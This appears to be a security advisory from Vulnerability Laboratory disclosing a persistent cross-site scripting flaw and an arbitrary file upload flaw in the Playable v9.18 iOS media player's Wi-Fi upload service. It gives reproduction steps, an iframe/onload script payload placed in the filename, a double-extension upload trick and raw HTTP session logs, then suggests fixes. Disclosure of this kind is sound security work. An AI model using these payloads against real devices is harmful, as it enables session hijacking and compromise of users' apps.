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# Title: Playable 9.18 iOS - Persistent Cross-Site Scripting # Author: Vulnerability Laboratory # Date: 2020-04-15 # Software Link: https://apps.apple.com/de/app/playable-the-full-hd-media-player/id502405034 # CVE: N/A Document Title: =============== Playable v9.18 iOS - Multiple Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2198 Release Date: ============= 2020-04-16 Vulnerability Laboratory ID (VL-ID): ==================================== 2198 Common Vulnerability Scoring System: ==================================== 7.3 Vulnerability Class: ==================== Multiple Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Watch your MKV, MP4 and MOV movie files on your iPad, iPhone or iPod Touch without conversion - just copy files to your device through iTunes or over Wifi!To search for closed captions / subtitles select a video then press the magnifying glass icon to the top right of the video. (Copy of the Homepage: https://apps.apple.com/de/app/playable-the-full-hd-media-player/id502405034 ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple vulnerabilities in the official Playable v9.18 apple ios mobile application. Affected Product(s): ==================== Portable Ltd Product: Playable v9.18 - iOS Mobile Web Application Vulnerability Disclosure Timeline: ================================== 2020-04-16: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Authentication Type: ==================== Pre auth - no privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ 1.1 A persistent script code injection web vulnerability has been discovered in the official Playable v9.18 apple ios mobile application. The vulnerability allows remote attackers to inject own malicious persistent script codes to the application-side for manipulation. The vulnerability is located in the filename parameter of the upload module. Attackers with wifi access are able to perform uploads with malicious script code to manipulation the mobile application ui. The request method to inject is POST and the attack vector of the vulnerability is persistent. Attackers are able to inject html and javascript codes to comrpomise the mobile wifi web-application. The injection point is the upload form on localhost:8881 and the execution occurs on localhost:80 with the visible ui listing. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected mobile application modules. Request Method(s): [+] POST Vulnerable Function(s): [+] upload Vulnerable Parameter(s): [+] filename 1.2 An arbitrary file upload web vulnerability has been discovered in the official Playable v9.18 apple ios mobile application. The arbitary file upload vulnerability allows remote attackers to upload malicious files to compromise the mobile application. The vulnerability is located in the filename parameter of the upload module. Attackers with wifi access are able to perform uploads with malicious file extions to bypass the parse function. In a second step the attacker requests the local file to execute the malicious content on the local web-server. The request method to inject is POST and the attack vector of the vulnerability is located on the application-side. The injection point is the upload form on localhost:8881. The execution point becomes visible by a request the localhost:80/vid/[filename] path with the uploaded file content. The is present because of a missing file parse and insecure upload handling on file extensions. As well the local web-server can be reconfigured to provide more security on user interactions. Successful exploitation of the arbitrary file upload vulnerability results in a compromise of the local ios mobile application. Request Method(s): [+] POST Vulnerable Function(s): [+] upload Vulnerable Parameter(s): [+] filename Affected Module(s): [+] /vid/ Proof of Concept (PoC): ======================= 1.1 The persistent script code injection vulnerability can be exploited by remote attackers with wifi network access without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install the ios application (https://apps.apple.com/us/app/playable-the-full-hd-media-player/id502405034) 2. Start the ios application on your local ios device 3. Start the wifi share service in the application ui 4. Open the web-browser 5. Tamper the http requests 6. Prepare to upload any file and press the upload button 7. Inject as filename any html/js script code payload 8. Continue to transmit the POST method request 9. The file executes on the index listing on port 8881 (http://localhost:8881/index.html) 10. Successful reproduce of the persistent script code injection web vulnerability! PoC: Exploitation >"<iframe src=evil.source onload=alert(document.domain)>.jpg --- PoC Session logs [POST] --- Status: 200[OK] POST http://localhost:8881/upload Mime Type[text/html] Request Header: Host[localhost:8881] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8881/index.html] Content-Length[8559] Content-Type[multipart/form-data; boundary=---------------------------3823323145734] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------3823323145734 Content-Disposition: form-data; name="file"; filename=">"<iframe src=evil.source onload=alert(document.domain)>.jpg" - Status: 200[OK] GET http://localhost/evil.source Mime Type[application/x-unknown-content-type] Request Header: Host[localhost/evil.source] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Connection[keep-alive] Upgrade-Insecure-Requests[1] Cache-Control[max-age=0] Response Header: Accept-Ranges[bytes] Content-Length[8559] 1.2 the arbitrary file upload vulnerability can be exploited by local attackers with wifi network access without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install the ios application (https://apps.apple.com/us/app/playable-the-full-hd-media-player/id502405034) 2. Start the ios application on your local ios device 3. Start the wifi share service in the application ui 4. Open the web-browser 5. Tamper the http requests 6. Prepare a js file with malicious test content 7. Extend the file name with .jpg Note: The upload mechanism does not parse or checks for multiple extensions on file uploads 8. Upload the file by pushing the Upload File button 9. Open the url in the default /vid/ folder and remove the .jpg extension 10. The simple js executes in the scripting engine when opening 11. Successful reproduce of the arbitrary file upload vulnerability! Note: Using the ftp you can perform to create the file via console ftp://localhost (read/write permissions) PoC: Exploitation http://localhost/vid/clay.js.jpg --- PoC Session logs [POST] --- Status: 200[OK] POST http://localhost:8881/upload Mime Type[text/html] Request Header: Host[localhost:8881] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8881/index.html] Content-Length[86856] Content-Type[multipart/form-data; boundary=---------------------------3823323145733] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------3823323145733 Content-Disposition: form-data; name="file"; filename="clay.js.jpg" - Status: 200[OK] GET http://localhost/listVideosJson Mime Type[application/x-unknown-content-type] Request Header: Host[localhost] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0] Accept[application/json, text/javascript, */*; q=0.01] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://localhost/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[87] - Status: 200[OK] GET http://localhost/vid/clay.js.jpg Mime Type[application/iosjpg] Request Header: Host[localhost] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost/] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Accept-Ranges[bytes] Content-Length[86670] Content-Type[application/iosjpg;] - Status: 200[OK] GET http://localhost/vid/clay.js Mime Type[application/x-unknown-content-type] Request Header: Host[localhost] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Accept-Ranges[bytes] Content-Length[0] Solution - Fix & Patch: ======================= 1.1 The vulnerability can be resolved by a restriction and parse of the filename parameter. Disallow special chars and restrict inputs. Encode also the output locations to ensure nobody is able to execute script code in the main file listing. 1.2 Parse the filename for multiple extensions and prevent that attackers open specific dangerous file extensions that could compromise the local application path. Security Risk: ============== 1.1 The security risk of the script code injection web vulnerability in the mobile ios application is estimated as high. 1.2 The security risk of the arbitrary file upload vulnerability in the mobile ios application is estimated as high. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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